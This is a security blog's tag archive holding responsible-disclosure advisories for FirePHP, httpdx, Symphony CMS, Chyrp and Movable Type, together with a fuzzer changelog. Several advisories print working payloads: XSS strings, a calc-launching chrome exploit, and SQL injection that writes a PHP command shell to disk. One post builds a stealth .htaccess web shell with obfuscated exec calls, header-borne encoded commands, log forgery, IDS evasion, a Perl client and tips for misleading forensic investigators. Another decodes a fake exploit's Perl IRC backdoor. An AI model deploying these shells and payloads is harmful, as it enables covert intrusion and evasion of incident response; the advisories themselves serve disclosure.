Results tagged “security” from Just Another Hacker

Doona - network protocol fuzzer

Doona is a fork of the Bruteforce Exploit Detector, it was renamed to avoid confusion as it has a large number of of changes. You should get a copy from github if you want to try it:

It's currently a little short on documentation, so I will let the changelog details some of the many differences between Doona and BED:

[ 0.7 ]
- resolved the need for a hardcoded plugin list
- added max requests option to allow parallel execution (easier than hacking in thread support)
- added sigpipe handler to prevent silent exit if server unexpectedly closes the connection
- added http proxy module
- added more ftp test cases
- added more rtsp test cases
- added more http test cases
- added more irc test cases
- fixed a long standing BED bug where two test strings where accidentally concatenated
- fixed a long standing BED bug where a hex representation of a 32bit integer was not max value as intended
- aliased -m to -s (-s is getting deprecated/reassigned)
- renamed plugins to modules (-m is for module)
- removed directory traversal testing code from ftp module
- rewrote/broke misc testing procedure to test specific edge cases, needs redesign
- added support for multiple setup/prefix/verbs, ie: fuzzing Host headers with GET/POST/HEAD requests
- fixed long standing BED bug in the smtp module where it wouldn't greet the mail server correctly with HELO
- added more smtp test cases
- fixed long standing BED bug in escaped Unicode strings
- added more large integer and formatstring fuzz strings
- fixed column alignment in the progress output

[ 0.6 first doona release ]
- added rtsp module
- added tftp module
- added whois module
- added more irc test cases
- added more finger test cases
- added more http test cases
- added more ftp test cases
- added progress indicator count to fuzz cases
- added resume feature (uses test case number)
- added crash indicators for test case number
- added signal handlers (displays testcase number on crtl^c or kill)
- added feature to dump what a test case number would send
- ftp module now uses anonymous login if username password not provided
- changed the order test cases are executed to allow corner cases to be tested earlier
- changed diagnostic output
- new and improved help text
- some code cleanup

20130417 - : FirePHP firefox plugin remote code execution
JAHx132 -

FirePHP enables you to log to your Firebug Console using a simple PHP method call.
All data is sent via response headers and will not interfere with the content on your page.
FirePHP is ideally suited for AJAX development where clean JSON and XML responses are required.
[ Taken from: ]

--- Vulnerability description ---
The extension does not sufficiently validate cell names in array data received from the remote 
host resulting in arbitrary script execution in the chrome privileged context if a user
inspects the malicious data in firephp.

Discovered by: Eldar "Wireghoul" Marcussen
Type: Remote Code Execution
Severity: High
Release: Responsible
Vendor: FirePHP -
Affected versions: All versions prior to 0.7.2

--- Proof of Concept ---
 * FirePHP Firefox plugin Remote code execution PoC                            *
 * Written by Wireghoul -   *
 * Greetz to @bcoles urbanadventurer @malerisch              *

// XUL code to launch calc.exe
$exploit =  '{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","UR<script>';
$exploit.= 'var lFile=Components.classes[\";1\"].createInstance(Components.interfaces.nsILocalFile);';
$exploit.= 'lFile.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\calc.exe\");';
$exploit.= 'var process=Components.classes[\";1\"].createInstance(Components.interfaces.nsIProcess);';
$exploit.= 'process.init(lFile);';
$exploit.= ',[],0);void(0);';
$exploit.= '<\/SCRIPT>":"PWNT"}}';

// Send FirePHP dump data
$payload= "X-Wf-1-1-1-1: ";
$payload.= strlen($exploit).'|'.$exploit."|\r\n";
  <title>FirePHP Firefox plugin RCE PoC</title>

--- Solution ---
Upgrade to version 0.7.2

--- Disclosure time line ---
17-Apr-2013 - Public disclosure
17-Apr-2013 - New version available via mozilla addons
12-Apr-2013 - New version
12-Apr-2013 - Vendor acknowledge vulnerability
09-Apr-2013 - Vendor notified through email

20130212 - : httpdx multiple access control bypass
JAHx131 -

Single-process HTTP1.1/FTP server; no threads or processes started per connection, runs with
only few threads. Includes directory listing, virtual hosting, basic auth., support for PHP,
Perl, Python, SSI, etc. All settings in one config/script file.
[ Taken from: ]

--- Vulnerability description ---
Access control in httpdx is done with string matching directives in the configuration file.
Request variables are compared to static strings to determine if access should be granted.
Examples provided in the default configuration include:
    if<%REQUEST_URI% == "/data/users.txt*">{
        http.deny = 1;
And another example:
    if<%REQUEST_URI% == "/admin.html*">{
        http.auth = { //authorization needed for admin's section
            realm="Stuff for admin only!"
As long as your request does not match these static strings, but the path resolves to the same
files you can access the content.

Additionally, as the server doesn't support traditional binding of virtualhosts to network
interfaces you must configure virtualhost specific behaviour through similar string matching
    if<%HTTP_HOST% != "" && %HTTP_HOST% == {localhost,127.*.*.*}>{
The variable HTTP_HOST is set from the Host: header in the request, so in order to access the
localhost virtualhost remotely, just set your Host: header to localhost.

Discovered by: Eldar "Wireghoul" Marcussen
Type: Access control bypass
Severity: Low
Release: Full disclosure
CVE: None
Vendor: httpdx -
Affected versions: 1.5.5, 1.5.4 and probably earlier versions

--- Proof of Concept ---
The server comes with two examples of access control, a restricted file and a password
protected administrator area running on localhost. The following examples successfully
access these restricted areas remotely:

Access user file:
user@~$ GET

Access admin console:
user@~$ echo -e "GET /%2fadmin.html HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc 80
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2012 03:25:58 GMT
Content-Type: text/html
Last-Modified: Mon, 20 Jul 2009 14:03:48 GMT
Content-Length: 36
Connection: close
Server: httpdx/1.5.4 (Win32)
Pragma: no-cache

Ok, you're now at admin's section.

--- Solution ---
The software appears to be abandoned and the same versions suffers from remote code execution
bugs. Use different software instead.

--- Disclosure time line ---
12-Feb-2013 - Public disclosure

I am stealing an idea from the Perl community, and bringing it to the information security community: The advent calendar. will be publishing one security related article each day from December 1 - 25. In order to ensure that the content is diverce and entertaining I have put out a call for participation. If you have an idea, a funny picture, a super one line shell script or something completely different that you wish to share then please submit it!

For full details on submissions see the CFP at

20121017 - : Symphony cms - Multiple vulnerabilities
JAHx122 -

Symphony is an XSLT-powered open source content management system.
[ Taken from: ]

--- Vulnerability description ---
Symphony-cms version 2.3 is vulnerable to several vulnerabilities ranging in
severity from low to high and can result in complete compromise by an
unauthenticated attacker.

Discovered by: Eldar "Wireghoul" Marcussen
Type: Multiple
Severity: High
Release: Responsible
Vendor: Symphony -
Affected versions: 2.3 (and possibly earlier)

--- Local patch disclosure ---
Direct requests to library files will disclose the full local file path if php is configured
to display errors due to the reliance on the library path being declared in a constant
of global scope outside of the library script.


--- User enumeration ---
The retrive password url http://host/path/symphony/login/retrieve-password/ will display a helpful error message if the email address entered does not exist in the database.

--- Authentication token brute force ---
Symphony-cms allows a user to login without entering their username and password via
a remote auth url that contains a token made up of the first 8 characters of a sha1 hash
of the user's username and hashed password.

If a user has auth_token_active set to yes in the sym_authors table an attacker can login to their account by brute forcing a key of [0-9A-F]^8 length.

The url http://host/path/symphony/login/[token]/ ie: http://host/path/symphony/login/a39880be/ for the user "admin" with password "admin".

--- Cross site scripting ---
The email input field supplied to http://host/path/symphony/login/retrieve-password/ is not sufficiently filtered for malicious characters resulting in reflected cross site scripting.

Submit form with email address:

The email input field supplied to http://host/path/symphony/login/ is not sufficiently filtered for malicious characters resulting in reflected cross site scripting.


The "From name" preference setting in Symphony-cms (http://host/path/symphony/system/preferences/) is not sufficiently encoded resulting in persistent cross site scripting.


--- Blind sql injection ---
The username field in the authors detail page is not sufficiently filtered when checking
is the username already exists in the system. Resulting in blind sql injection.

Edit an author's profile, update the username to include a malicious payload, ie:
username' union select "<?php @system($_REQUEST['cmd']); ?>" FROM sym_authors INTO OUTFILE '/var/www/workspace/haxed.php
where the path to your outfile is based on the local path disclosure.

--- SQL Injection ---
The "page" number supplied when editing blueprints is vulnerable to sql injection.

We can retrieve a users username, hashed password and auth token status with the following PoC:

--- Unrestricted file upload ---
While this appears to be intended functionality for authorised users, combined
with the aforementioned vulnerabilities it becomes trivial to place a backdoor
on the system.

--- Solution ---
Upgrade to version 2.3.1.

--- Disclosure time line ---
17-Oct-2012 - Public disclosure
03-Oct-2012 - Issues patched in upcoming release
18-Sep-2012 - Patch checked into git
17-Sep-2012 - Vendor response
14-Sep-2012 - Vendor notified through email

20120831 - : PHP Shell Detector - Cross site scripting
JAHx121 -

PHP Shell Detector is a php script that helps you find and identify php shells. It also has
a "web shells" signature database that helps to identify "web shell" up to 99%. By using the
latest javascript and css technologies, php shell detector has a light weight and friendly
interface. The main features is that if you're not sure about a suspicious file, you may send
it to the team.  After submitting your file, it will be inspected and if
there are any threats, it will be inserted into a "php shell detector" web shells signature
database and the next time this file will be recognized positively.
[ Taken from: ]

--- Vulnerability description ---
The shell detector script does not sufficiently sanitise filenames of detected shells or
suspicious files, resulting in cross site scripting.

Discovered by: Eldar "Wireghoul" Marcussen
Type: Cross Site Scripting
Severity: Low
Release: Full
CVE: None
Vendor: Emposha -
Affected versions: 1.51 - earlier versions may also be affected.

--- Proof of Concept ---
Create a payload out of a file detected by the PSD script, ie:
root@localhost:~# mv htaccess.php  \<img\ src\=x\ onerror\=alert\(1\)\>.txt
Then scan the directory containing the renamed file.

--- Solution ---
There is no solution at this time.

--- Disclosure time line ---
31-Aug-2012 - Public disclosure

Ruxcon 2012

If you're familiar with the Ruxcon security conference then this is proabably just repeating what you already know. However, if you are not familiar with the conference, then I strongly suggest you check it out, and not just because I'm presenting this year. It is an excellent conference! Traditionally it delivers a strong lineup of technical, in-depth presenters who know their subject well and delivers valuable information.

The details of my presentation are on the Ruxcon website. Hope to see you there!

Writing a stealth web shell

People keep referring to the htshells project as stealth!?!?!?!? They are very unstealthy, leaving plenty of evidence in the logs, but it did get me thinking, what would a .htaccess stealth shell look like? In order to claim the status of "stealth" the shell would have to meet the following requirements:
  • No bad function calls
  • Hidden file
  • Hidden payload
  • Hidden url
  • WAF/IDS bypass
  • Limited forensic evidence
Looks like a small list, shouldn't be too hard....

No bad function calls
The shell should not contain any bad function calls such as eval, passthru, exec, system, `` or similar operators. This is to avoid detection from scanners such as anti vrus or static analysis tools. We have a few options here, such as using a variable variable to dynamically assign the function to call,  or we could go with the non alpha php shell. I did however choose to go with a feature that relies on common methods and AFAIK not many scanners pick up on variable function calls.

Hidden file
I already solved this with my htshells project. Having your shell in a dot file keeps it hidden on linux. If you cannot upload a .htaccess file however I would aim to hide in plain sight with a index.php file instead.

Hidden payload
In order to keep the payload out of the url we'll provide it outside of the request URI and request body. A cookie is a common place to store the payload, but I decided to use a non cookie header. Just to be safe, in case someone decides to log cookies.

Hidden url
Luckily the htaccess file also offers us an option to hide the url of our web shell using mod_rewrite. This allows us to invoke the shell through a different url.

WAF/IDS bypass
By applying common encoding we can ensure that plaintext rules don't match our payload and make parsing the request expensive enough to ensure that realtime decoding isn't feasible. For the extra paranoid, encoding in combination with basic obfuscation will stop detection by IDS which can offload the offline decoding to an agent. I chose plain base64_encoding, and padded it with some bytes to make automated parsing fail.

Limited forensic evidence
This is where most shells fails, most web scripts use request parameters for command input. This is great on penetration tests as it offers transparency to the client, but it's not very stealthy. I'll start by illustrating a log segment for favicon requests.
# grep favicon.ico /var/log/apache2/access.log - - [20/Apr/2011:09:46:30 +0400] "HEAD /favicon.ico HTTP/1.0" 200 - "-" "-" - - [20/Apr/2011:09:52:27 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)" - - [20/Apr/2011:10:07:29 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Safari/6533.19.4 CFNetwork/454.11.5 Darwin/10.6.0 (i386) (MacBook2%2C1)" - - [20/Apr/2011:10:32:31 +0400] "GET /favicon.ico HTTP/1.0" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16"
As you can see from the example, the log records the IP of the client making the request, the (server) time of the request, the request method and url, response code, response size, referrer and user-agent. Normally the htshell would be a dead giveaway: - - [23/Jan/2012:11:47:32 +1100] "GET /.htaccess?c=uname -a HTTP/1.1" 200 617 "-" "Mozilla/5.0 (X11; Linux i686; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"
It is clear that the url accessed was .htaccess,and it responded with a 200 OK response code instead fo the usual 403, it is also evident what command was run. In order to keep the shell from leaving forensic evidence, we will disguise the request to the shell as a normal 200 OK or a 404 response to a seemingly normal file using the hidden url and hidden payload.

Now for the actual implementation, using php for the programming language:

- No bad function calls
Invoking function names by string FTW! $e = str_replace('y','e','yxyc'); $e($cmd) will call exec on $cmd.

- Hidden file
the shell is .htaccess, as hidden as it gets.

- Hidden payload
Receive the payload via the X-ETAG header, which is accessible via: $_SERVER['HTTP_X_ETAG'] and send the response via the same header. This requires output buffering to be enabled otherwise PHP will complain about headers being sent after output has started. Luckily this is not an admin flag and can be set from within the .htaccess file itself using: php_value output_buffering 1.

- Hidden url
Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]
This allows us to make requests to existing files, and gettting the shell if the X-ETAG header is set.

- WAF/IDS bypass
By padding the base64 encoding with two bytes automated base64 decoding attempts will fail with a length check error.

- Limited forensic evidence
By generating output PHP will set the response code to 200 OK, although a header() call can easily be used to make it something else. Thanks to the output buffering the content of the .htaccess file can be discarded and the response size can be set to a known value. I'm using print str_repeat("A", 9326); to match the size of my favicon which can be seen in the first log snippet.

This all combines to the following file:
# Self contained .htaccess stealth web shell - Part of the htshell project
# Written by Wireghoul -

# Override default deny rule to make .htaccess file accessible over web

    Order allow,deny
    Allow from all

# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
# the apache directoves from the .htaccess file
AddType application/x-httpd-php .htaccess

# Enable output buffering so we can fudge content length in logs
php_value output_buffering 1

# Rewrite supposed url to the .htaccess file if X-ETAG request header is set
RewriteEngine on
RewriteCond %{HTTP:X-ETAG} !^$
RewriteRule .* .htaccess [L]

# SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc'); $e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush(); exit(); ?>

Unfortunately the WAF/IDS bypass makes it somewhat unfriendly to use with traditional HTTP clients, so I wrote a perl based client:
# Interface for the mod_php htaccess stealth shell
# Written by Wireghoul -

use warnings;
use strict;
use MIME::Base64;
use LWP::UserAgent;

&usage unless $ARGV[0];
my $url = $ARGV[0];
pop(@ARGV); #keep readline happy
my $ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16');

sub usage {
    print "Usage: $0 url\nExample: $0\n";
    exit 2;

my $cmd = '';
print "Connecting to shell at $url - type 'exit' to exit";
until ($cmd eq 'exit') {
    print "\nshell> ";
    $cmd = readline;
    chomp $cmd;
    my $payload = 'AA'.encode_base64($cmd);
    my $response = $ua->get( $url, 'X-ETAG' => $payload);
    if ($response->header('X-ETAG')) {
      print decode_base64(substr($response->header('X-ETAG'),2));
    } else {
      print "Error! No payload in response!\n";

A quick demo:
# GET http://localhost/favicon.ico | head -1
h6  �@@(F( 
# ./ http://localhost/favicon.ico
Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit
shell> uname -a
Linux bt #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
# tail -3 /var/log/apache2/access.log - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16" - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: Gecko/20110319 Firefox/3.6.16"
Notice there is nothing indicating any difference between the first request (normal request to the actual file) and the two shell commands.
Some parting notes:
  • Large response bodies can cause the header to exceed the maximum size defined when compiling Apache (default 8190), the best way to get around this is to store the command output in the session and return it one chunk at a time.
  • Divert the investigator by presenting a likely scenario, if there is an existing file, such as a picture. Hotlink the image from a public forum and use the forum url as referrer value and use a known aggressive crawler as the user agent.
  • Rewrite the shell to use different values than the X-ETAG, etc used in the demo script for better WAF bypass.
  • I guess it's OK to call the htshells project stealth now??
  • Systems that log response length as headers and response body will show varying content length for the shell requests, this is not the default apache behaviour and requires additional modules to be enabled.

If I missed anything, please leave a commant and I will address it. If you like my work, please say thanks or buy me a beer!

Captcha reload and other attacks

This post has been sitting in draft state for almost two years now so I figured I'd publish it. The captcha reload attack in particular attack targets captchas that support some form of user supplied input and change the captcha value in session upon image creation. In it's simplest form the attack works like this;
  1. Attacker visits page with captcha (session has captcha value y)
  2. Attacker loads a targeted captcha url which changes the value of the session (session has captcha value z)
  3. Attacker submits form from step1 with a certainty or increased likelyhood of having the correct captcha due to step2.
Better yet, lets discuss some real examples I have discovered during penetration tests.

User suppplied text in captcha url
Captcha value = query string. I'm not going to dicuss this one.

User suppplied seed in captcha url (
A known seed is as good as providing the captcha string in url. Once a human decodes the captcha message it will never change.

User suppplied text in domain state in captcha url (
As above if the session is updated. In the penetration test where I found this the session was not updated, however the text can be used to identify known captcha text if a human decodes a few hundred captchas (they were only using 4 letters). In this case the attacker would reload the step1 url until a known domainstate string  appears and submit the form with certainty of the captcha value.

User suppplied complexity in captcha url (
This one comes from an old copy of this script: By reloading the captcha the captcha complexity would be reduced to 3 characthers This script also allowed you to increase the image size which caused the letters to appear with far less obfuscation. Older versions of the script allowed you to lowver the character count to 1 and allowed image sizes so large that you could remove the text obfuscation completely or cause a denial of service attack by generating very large images.

Since the white hat web guys are kind enough to host a demo I decided to make a video showing how the attack works:

Quick and dirty exploit vetting

Got some exploit code that you didn't write? You had better check it first. Especially as I've seen a few people link to fake exploits lately. One example is the supposed winnuker from Which sports the following payload:

Never run an exploit if you didn't write it or don't understand the shellcode. I cannot stress that enough. Anyway, the exploit code has a bad smell to it, so I do a lazy check of the shell code:
~$ echo -e "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a\x24\x63\x68\x61\x6e\x3d\x22\x23\x64\x61\x72\x6b\x6e\x65\x74\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22\x6d\x6f\x72\x6f\x6e\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22\x65\x66\x6e\x65\x74\x2e\x76\x75\x75\x72\x77\x65\x72\x6b\x2e\x6e\x6c\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d\x3d\x7b\x7d\x3b\x65\x78\x69\x74\x20\x69\x66\x20\x66\x6f\x72\x6b\x3b\x75\x73\x65\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3b\x24\x73\x6f\x63\x6b\x20\x3d\x20\x49\x4f\x3a\x3a\x53\x6f\x63\x6b\x65\x74\x3a\x3a\x49\x4e\x45\x54\x2d\x3e\x6e\x65\x77\x28\x24\x73\x65\x72\x76\x65\x72\x2e\x22\x3a\x36\x36\x36\x37\x22\x29\x7c\x7c\x65\x78\x69\x74\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x55\x53\x45\x52\x20\x6d\x6f\x72\x6f\x6e\x20\x2b\x69\x20\x6d\x6f\x72\x6f\x6e\x20\x3a\x6d\x6f\x72\x6f\x6e\x76\x32\x5c\x6e\x4e\x49\x43\x4b\x20\x6d\x6f\x72\x6f\x6e\x5c\x6e\x22\x3b\x24\x69\x3d\x31\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x3d\x7e\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x28\x5b\x5e\x20\x5d\x2b\x29\x20\x2f\x29\x7b\x24\x6d\x6f\x64\x65\x3d\x24\x31\x3b\x6c\x61\x73\x74\x20\x69\x66\x20\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x30\x30\x31\x22\x3b\x69\x66\x28\x24\x6d\x6f\x64\x65\x3d\x3d\x22\x34\x33\x33\x22\x29\x7b\x24\x69\x2b\x2b\x3b\x24\x6e\x69\x63\x6b\x3d\x7e\x73\x2f\x5c\x64\x2a\x24\x2f\x24\x69\x2f\x3b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4e\x49\x43\x4b\x20\x24\x6e\x69\x63\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x48\x69\x2c\x20\x49\x6d\x20\x61\x20\x6d\x6f\x72\x6f\x6e\x20\x74\x68\x61\x74\x20\x72\x61\x6e\x20\x61\x20\x66\x61\x6b\x65\x20\x30\x64\x61\x79\x20\x65\x78\x70\x6c\x6f\x69\x74\x2e\x20\x76\x32\x5c\x6e\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x74\x6f\x20\x72\x75\x6e\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x73\x20\x6f\x6e\x20\x6d\x65\x2c\x20\x74\x79\x70\x65\x3a\x20\x22\x2e\x24\x6e\x69\x63\x6b\x2e\x22\x3a\x20\x63\x6f\x6d\x6d\x61\x6e\x64\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x28\x3c\x24\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x4f\x4e\x47\x20\x24\x31\x5c\x6e\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x5c\x6e\x22\x3b\x7d\x69\x66\x28\x73\x2f\x5e\x5b\x5e\x20\x5d\x2b\x20\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x6e\x69\x63\x6b\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x3a\x5b\x5e\x20\x3a\x5c\x77\x5d\x2a\x20\x28\x2e\x2a\x29\x24\x2f\x24\x31\x2f\x29\x7b\x73\x2f\x5c\x73\x2a\x24\x2f\x2f\x3b\x24\x5f\x3d\x60\x24\x5f\x60\x3b\x66\x6f\x72\x65\x61\x63\x68\x28\x73\x70\x6c\x69\x74\x20\x22\x5c\x6e\x22\x29\x7b\x70\x72\x69\x6e\x74\x20\x24\x73\x6f\x63\x6b\x20\x22\x50\x52\x49\x56\x4d\x53\x47\x20\x24\x63\x68\x61\x6e\x20\x3a\x24\x5f\x5c\x6e\x22\x3b\x73\x6c\x65\x65\x70\x20\x31\x3b\x7d\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69";
$chan="#darknet";$nick="moron";$server="";$SIG{TERM}={};exit if fork;use IO::Socket;$sock = IO::Socket::INET->new($server.":6667")||exit;print $sock "USER moron +i moron :moronv2\nNICK moron\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+) /){$mode=$1;last if $mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print $sock "NICK $nick\n";}}print $sock "JOIN $chan\nPRIVMSG $chan :Hi, Im a moron that ran a fake 0day exploit. v2\nPRIVMSG $chan :to run commands on me, type: ".$nick.": command\n";while(<$sock>){if (/^PING (.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^ ]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]* (.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print $sock "PRIVMSG $chan :$_\n";sleep 1;}}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi
If you work with hex or shellcode regularly you might have already worked out that the shellcode was in fact text (the large number of \x20 is a pretty dead giveaway). As you can see a quick check of the shellcode reveals that this is in fact a fake exploit that offers a remote shell to the entire efnet #darknet channel. If the shellcode is binary then you'll need to do some more analysis, but for most fake exploits the above technique usually reveals them.
Internet Explorer and the .NET Framework are hardcoded not to send requests for "" or  "localhost' through a proxy. So if you're testing an application that communicates with a service bound to the loop back interface it's not straight forward to intercept the traffic using Burp or another intercepting proxy. In IE9 they fixed this, by adding <-localhost> to the "do not use proxy" list will override this behavior. However if you're testing on an older version of IE you will have to use a work around.

Most articles on the web will tell you to use the IP address or machine name of the server you are testing. Which works fine if the service is bound to or the public interface. However, if the service is bound to you cannot reach the service via the machine name or the public interface IP. One option is to setup a tunnel using netcat, stunnel, socat, etc to forward requsts from the public interface to the loopback interface. Or you can use dns. The hardcoded restriction only triggers if the url has the string or localhost in it. Requests to or a domain that resolves to are sent through the proxy.

So depending on your level of access to the system, you can add an entry in c:\windows\system32\drivers\etc\hosts for l0calhost , like this: l0calhost
Or you can create a dns entry for a domain you control that resolves to If you are running bind that should look like this (remember to update the serial number too): IN A

You can now intercept the traffic for the service through the proxy by using http://l0calhost/ or

20110713 - : Chyrp - Multiple vulnerabilties
JAHx113 -

Chyrp is a blogging engine designed to be very lightweight while retaining functionality. It
is powered by PHP and has very powerful theme and extension engines, so you can personalize
it however you want. The code is well-documented, and it has a very strong structure that's
loosely based on the MVC design pattern
[ Taken from: ]

--- Vulnerability description ---
The chyrp blogging engine was found to suffer from multiple vulnerabilities in multiple versions.
Discovered by: Eldar "Wireghoul" Marcussen
Type: Multiple
Severity: High
Release: Responsible, via oCERT
CVE: Not yet assigned
Affected versions: <= 2.1

--- Cross site scripting ---
The action parameter is not sufficiently filtered, escaped or encoded resulting in cross site scripting.
The javascript.php xss can also be invoked through rewrite rules using the following querystring -

--- Cross site scripting ---
The title and body parameters are not initialized in the admin/help.php file resulting in cross site
scripting if register globals is on.

--- Local file inclusion ---
The action parameter is not sufficiently filtered and vulnerable to local file inclusion.

--- Directory traversal ---
The file parameter for includes/lib/gz.php is vulnerable to a directory traversal bug in Chyrp versions <=2.0.
This is due to a php gotcha when using the return value of strpos in an if statement as matches on position 0
will result in a false negative.

--- Arbitrary file upload ---
Arbitrary file upload can be done by authorised users in Chyrp version <= 2.0 with the swfupload extension and
file upload feathers enabled. The uploaded file extension is restricted through javascript. Modify js in page
using firebug or via intercepting proxy to allow *.php upload. A direct POST to
http://domain/path/modules/swfupload/upload_handler.php can also be done, but changing js is far easier.

Appended ;*.php in script for the add photo feather (http://domain/path/admin/?action=write_post&feather=photo) using intercepting proxy
<script type="text/javascript">
$("#photo").clone().attr("id", "photo_fake").addClass("swfupload_button").insertBefore("#photo")
photo = new SWFUpload({
upload_url : "http://localhost/chyrp_v2.0/modules/swfupload/upload_handler.php",
flash_url : "http://localhost/chyrp_v2.0/modules/swfupload/lib/swfupload.swf",
post_params: {"PHPSESSID" : "5o3bnghnijk4hlr7vnshi3vb76", "PHPSESSNAME" : "ChyrpSession", "ajax" : "true" },
file_size_limit : "100 MB",
file_types : "*.jpg;*.jpeg;*.png;*.gif;*.bmp;*.php", <-- #MODIFY!
file_types_description : "All Files",

file_queue_error_handler : fileQueueError,
file_dialog_complete_handler : fileDialogComplete,
upload_start_handler : uploadStart,
upload_progress_handler : uploadProgress,
upload_error_handler : uploadError,
upload_success_handler : uploadSuccess,
button_placeholder_id : "photo",
button_width : $("#photo_fake").width(),
button_height : $("#photo_fake").height(),
upload_complete_handler : uploadComplete
.css({ position: "absolute", top: $("#photo_fake").offset().top, left: $("#photo_fake").offset().left })
.before('<div id="progress"><div class="back"><div class="fill"></div><div class="clear"></div></div></div>')

--- Solution ---
Upgrade to version 2.1.1

--- Disclosure time line ---
13-Jul-2011 - Public disclosure
17-May-2011 - Vendor notified
17-May-2011 - oCERT notified

20110525 - : Cross site scripting in Movable Type
JAHx112 -

Movable Type is a professional publishing platform
[ Taken from: ]

--- Vulnerability description ---
The 'static' parameter to the comment script is not sufficiently sanitised which allows an attacker
to break out of the meta redirect url in the response, resulting in a cross site scripting attack.

Discovered by: Eldar "Wireghoul" Marcussen
Type: Cross Site Scripting
Severity: Low
Release: Responsible
CVE: Unassigned
Movable Type BugID: #105441
Vendor: Six Apart Ltd -
Affected versions:
* Movable Type Open Source 4.x
* Movable Type Open Source 5.x
* Movable Type 4.x ( with Professional Pack, Community Pack )
* Movable Type 5.x ( with Professional Pack, Community Pack )
* Movable Type Enterprise 4.x

--- Proof of Concept ---"><script>alert(document.cookie)</script>&logout=1&entry_id=

--- Solution ---
Upgrade to the latest versions of Movable Type 4 or Movable Type 5.
* Movable Type Open Source 4.36
* Movable Type Open Source 5.05
* Movable Type Open Source 5.1
* Movable Type 4.36( with Professional Pack, Community Pack)
* Movable Type 5.05( with Professional Pack, Community Pack)
* Movable Type 5.1( with Professional Pack, Community Pack)
* Movable Type Enterprise 4.36
* Movable Type Advanced 5.1

--- Disclosure time line ---
25-May-2011 - Advisory released
24-May-2011 - New version released
18-May-2011 - Patch produced
11-Jan-2011 - Vendor acknowledge vulnerability
08-Jan-2011 - Vendor notified through email

A while back I was testing a CMS that had a curious feature, all uploaded files were placed in their own directory. This was not a security enhancement as the application allowed php files to be uploaded. However I coudn't help ask, what if php uploads had been restricted? The answer was .htaccess files. Using SetHandler in a .htaccess file is well known, but does not lead to remote code execution. So after some thinking I put together some self contained .htaccess web shells. I wrote both a php and a server side include shells, but other options can easily be added (jsp, mod_perl, etc).

